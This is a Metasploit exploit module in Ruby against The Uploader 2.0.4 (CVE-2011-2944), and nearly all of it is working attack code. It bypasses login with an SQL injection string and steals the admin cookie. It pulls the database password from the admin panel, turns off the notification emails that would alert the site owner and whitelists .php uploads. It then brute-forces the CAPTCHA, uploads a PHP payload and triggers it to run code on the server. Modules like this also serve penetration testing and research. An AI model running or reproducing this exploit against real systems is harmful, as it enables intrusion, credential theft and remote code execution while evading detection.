This Metasploit module exploits various flaws in The Uploader to upload a PHP payload to target system. When run with defaults it will search possible URIs for the application and exploit it automatically. Works against both English and Italian language versions. Notably it disables pre-emptive email warnings before uploading the payload, though it leaves log cleanup as a post-exploitation task.
d29a260fa19d9695a7f57da48288f4735a750b3a821a5fdf8012ac51ec7892aa
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
'Description'=> %q{
This module exploits various flaws in The Uploader to upload a PHP payload
to target system. When run with defaults it will search possible URIs for
the application and exploit it automatically. Works against both English
and Italian language versions. Notably it disables pre-emptive email warnings
before uploading the payload, though it leaves log cleanup as a
post-exploitation task.
},
'Author' => [ 'Danny Moules' ],
'References' =>
[
[ 'URL', 'http://sourceforge.net/projects/theuploader' ],
[ 'CVE', '2011-2944' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Keys' => ['php'],
},
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 23 2012',
))
register_options([
Opt::RHOST,
Opt::RPORT(80),
OptString.new(
'URI',
[ true, 'Path of application root (default will try common targets)', '/' ]
),
OptInt.new(
'CRACKATTEMPTS',
[ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
),
OptBool.new(
'VERBOSE',
[ true, 'Verbose output', true ]
),
], self.class)
end
def get_strings(lang)
if lang == "Eng"
strings = {
"sqlisuccess" => /Log-In has been done successfully/,
"whitelistsuccess" => /The extension has been added successfully/,
"disablemailsuccess" => /Notification Mail section has been saved successfully/,
"changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
"captcharequired" => /No result entered/,
"uploadsuccess" => /Download Link/,
"disablecaptchasuccess" =>
/Upload Permissions section has been saved successfully/,
}
elsif lang == "Ita"
strings = {
"sqlisuccess" => /stato effettuato con successo/,
"whitelistsuccess" => /L'estensione è stata consentita con successo/,
"disablemailsuccess" => /Mail di Notifica è stata salvata con successo/,
"changedirsuccess" =>
/Modifica Cartella Upload è stata salvata con successo/,
"captcharequired" => /Non à stato inserito nessun risultato/,
"uploadsuccess" => /Link al download/,
"disablecaptchasuccess" => /Permessi Upload è stata salvata con successo/,
}
end
return strings
end
def exploit
#Analyse target
analysis = analyse(datastore['URI'])
print_status(analysis['status'])
strings = get_strings(analysis['lang'])
unless analysis['uri'].nil?
datastore['URI'] = analysis['uri']
end
#Attempt SQLi - Gets the 'first' valid admin account
data = "username=' OR activated=1-- a"
data << "&password=a"
data << "&login=Log-IN"
res = send_and_verify(
datastore['URI'] + "login.php",
"POST",
"application/x-www-form-urlencoded",
"",
data,
"SQL injection",
strings['sqlisuccess']
)
#Get cookies
unless res.headers.include?('Set-Cookie')
raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
end
choc_chip = res.headers['Set-Cookie']
if datastore["VERBOSE"]
print_good("I stole the cookie from the cookie jar: #{choc_chip}")
end
#Optionally, analyse configuration
if datastore["VERBOSE"]
begin
config = analyse_config(strings, choc_chip)
print_status("INFO: Database host is #{config['db_host']}")
print_status("INFO: Database username is #{config['db_user']}")
print_status("INFO: Database password is #{config['db_pass']}")
print_status("INFO: Database name is #{config['db_name']}")
print_status("INFO: Admin log is #{config['admin_log']}")
rescue ::Exception => e
err = "Non-fatal error. Failed to analyse configuration: "
err << "#{e.class.to_s} #{e.to_s}"
print_error(err)
end
end
#Whitelist .php extensions for upload
res = send_and_verify(
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
"POST",
"application/x-www-form-urlencoded",
choc_chip,
"allowed_ext=php",
"Whitelisting .php extensions",
strings['whitelistsuccess']
)
# Disable email reporting
res = send_and_verify(
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
"POST",
"application/x-www-form-urlencoded",
choc_chip,
"upload_email=0",
"Disabling email reporting",
strings['disablemailsuccess']
)
# Change upload location to suit us
data = "upload_directory="
data << "&upload_full="
data << datastore['RHOST']
data << datastore['URI']
res = send_and_verify(
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
"POST",
"application/x-www-form-urlencoded",
choc_chip,
data,
"Changing upload directory to application root",
strings['changedirsuccess']
)
#Disable CAPTCHA on upload (non-fatal)
begin
res = send_and_verify(
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
"POST",
"application/x-www-form-urlencoded",
choc_chip,
"captcha_upload=0",
"Disabling CAPTCHA on upload",
strings['disablecaptchasuccess']
)
rescue ::Exception
print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
end
#Upload PHP payload
upload_uri = "ajax/upload.php"
filename = "#{rand_text_alphanumeric(8)}.php"
boundary = rand_text_alphanumeric(8)
data = %Q{
--#{boundary}
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"
Content-Type: text/plain
<?php #{payload.encoded} ?>
--#{boundary}
}
res = send_request_raw({
'uri' => datastore['URI'] + upload_uri,
'method' => 'POST',
'data' => data + '--',
'headers' =>
{
'Cookie' => choc_chip,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length + 2,
},
}, 20)
#Verify response
if res.code != 200
raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")
end
# If failure due to CAPTCHA, crack that...
if res.body =~ strings['captcharequired']
crack_captcha(data, choc_chip, boundary, upload_uri, strings)
else
if res.body =~ strings['uploadsuccess']
if datastore["VERBOSE"]
print_good("Uploading payload succeeded, triggering...")
end
else
err = "Response doesn't look right."
err << " Uploading payload probably failed (will continue anyway)"
print_error(err)
end
end
#Attempt to trigger payload
res = send_request_cgi({
'uri' => datastore['URI'] + filename,
'method' => 'GET',
'headers' =>
{
'Cookie' => choc_chip,
},
}, 5)
#Verify response
if res and res.code != 200
err = "Triggering payload (/#{filename}) failed "
err << "(HTTP code #{res.code.to_s})"
raise RuntimeError.new(err)
else
print_good("Triggering payload (/#{filename}) successful")
end
end
def crack_captcha(data, choc_chip, boundary, upload_uri, strings)
captcha_failed = true
print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")
crack_data = %Q{
#{data}
Content-Disposition: form-data; name="result"
0
--#{boundary}
}
patience = datastore['CRACKATTEMPTS']
for i in (1..patience)
#First visit index page to trigger CAPTCHA reset
res = send_request_cgi({
'uri' => datastore['URI'] + "index.php",
'method' => 'GET',
'headers' =>
{
'Cookie' => choc_chip
},
}, 20)
#Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).
#Maths-based CAPTCHAs are educational kids!
res = send_request_raw({
'uri' => datastore['URI'] + upload_uri,
'method' => 'POST',
'data' => crack_data + '--',
'headers' =>
{
'Cookie' => choc_chip,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => crack_data.length + 2,
},
}, 20)
if res.body =~ strings['uploadsuccess']
captcha_failed = false
break
end
end
if captcha_failed
err = "Could not break CAPTCHA in #{patience.to_s} iterations."
err << " You might have luck retrying."
raise RuntimeError.new(err)
else
print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")
end
end
def send_and_verify(uri, method, ctype, cookie, data, intent, check)
res = send_request_raw({
'uri' => uri,
'method' => method,
'data' => data,
'headers' =>
{
'Cookie' => cookie,
'Content-Type' => ctype,
'Content-Length' => data.length,
},
}, 20)
#Verify response
if res.code != 200
raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")
end
unless res.body =~ check
raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")
end
if datastore["VERBOSE"]
print_good("#{intent} succeeded")
end
return res
end
def analyse(uri_set)
code = nil
found_uri = nil
status = "Unknown state"
lang = "Eng"
unless uri_set =~ /\/$/ then
uri_set = "#{uri_set}/"
print_status("URI automatically changed to #{uri_set}")
end
unless uri_set =~ /^\// then
uri_set = "/#{uri_set}"
print_status("URI automatically changed to #{uri_set}")
end
if uri_set == "/" then
uris = [ "/", "/upload/", "/uploader/", "/theuploader/",
"/the_uploader/", "/The%20Uploader/",
"/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"
]
else
uris = [ uri_set ]
end
uris.each do |uri|
res = send_request_cgi({
'uri' => uri + "index.php",
'method' => 'GET',
}, 20)
if res and res.code == 200
if res.body =~ /The Uploader 2\.0/
status = "2.0.* version found at #{uri}"
code = Exploit::CheckCode::Vulnerable
found_uri = uri
elsif res.body =~ /The Uploader/
status = "Detected unknown version at #{uri}"
code = Exploit::CheckCode::Detected
found_uri = uri
end
unless found_uri.nil?
#Set appropriate language
if res.body =~ /Sezione Upload/
lang = "Ita"
end
http_fingerprint({ :response => res })
break
end
end
end
if found_uri.nil?
if uri_set == "/"
status = "Could not find the web site automatically. Enter URI manually?"
else
status = "Could not find the web site."
status << " Use the default URI to search for the web site automatically"
end
code = Exploit::CheckCode::Safe
end
return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }
end
def analyse_config(strings, cookie)
#Acquire the database details
res = send_request_cgi({
'uri' => datastore['URI'] + "admin.php?section=upload&category=server",
'method' => 'GET',
'headers' =>
{
'Cookie' => cookie
},
}, 20)
unless res and res.code == 200
raise RuntimeError.new("Acquiring database details failed")
end
r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/
db_host = r.match(res.body)[1]
r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/
db_user = r.match(res.body)[1]
r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/
db_pass = r.match(res.body)[1]
r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/
db_name = r.match(res.body)[1]
#Acquire the admin log details
res = send_request_cgi({
'uri' => datastore['URI'] + "admin.php?section=admin&category=admin_log",
'method' => 'GET',
'headers' =>
{
'Cookie' => cookie
},
}, 20)
unless res and res.code == 200
raise RuntimeError.new("Acquiring admin log details failed")
end
r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/
if r.match(res.body)
admin_log = "active"
else
admin_log = "inactive"
end
return {
"db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,
"db_name" => db_name, "admin_log" => admin_log,
}
end
def check
analysis = analyse("/")
print_status(analysis['status'])
return analysis['code']
end
end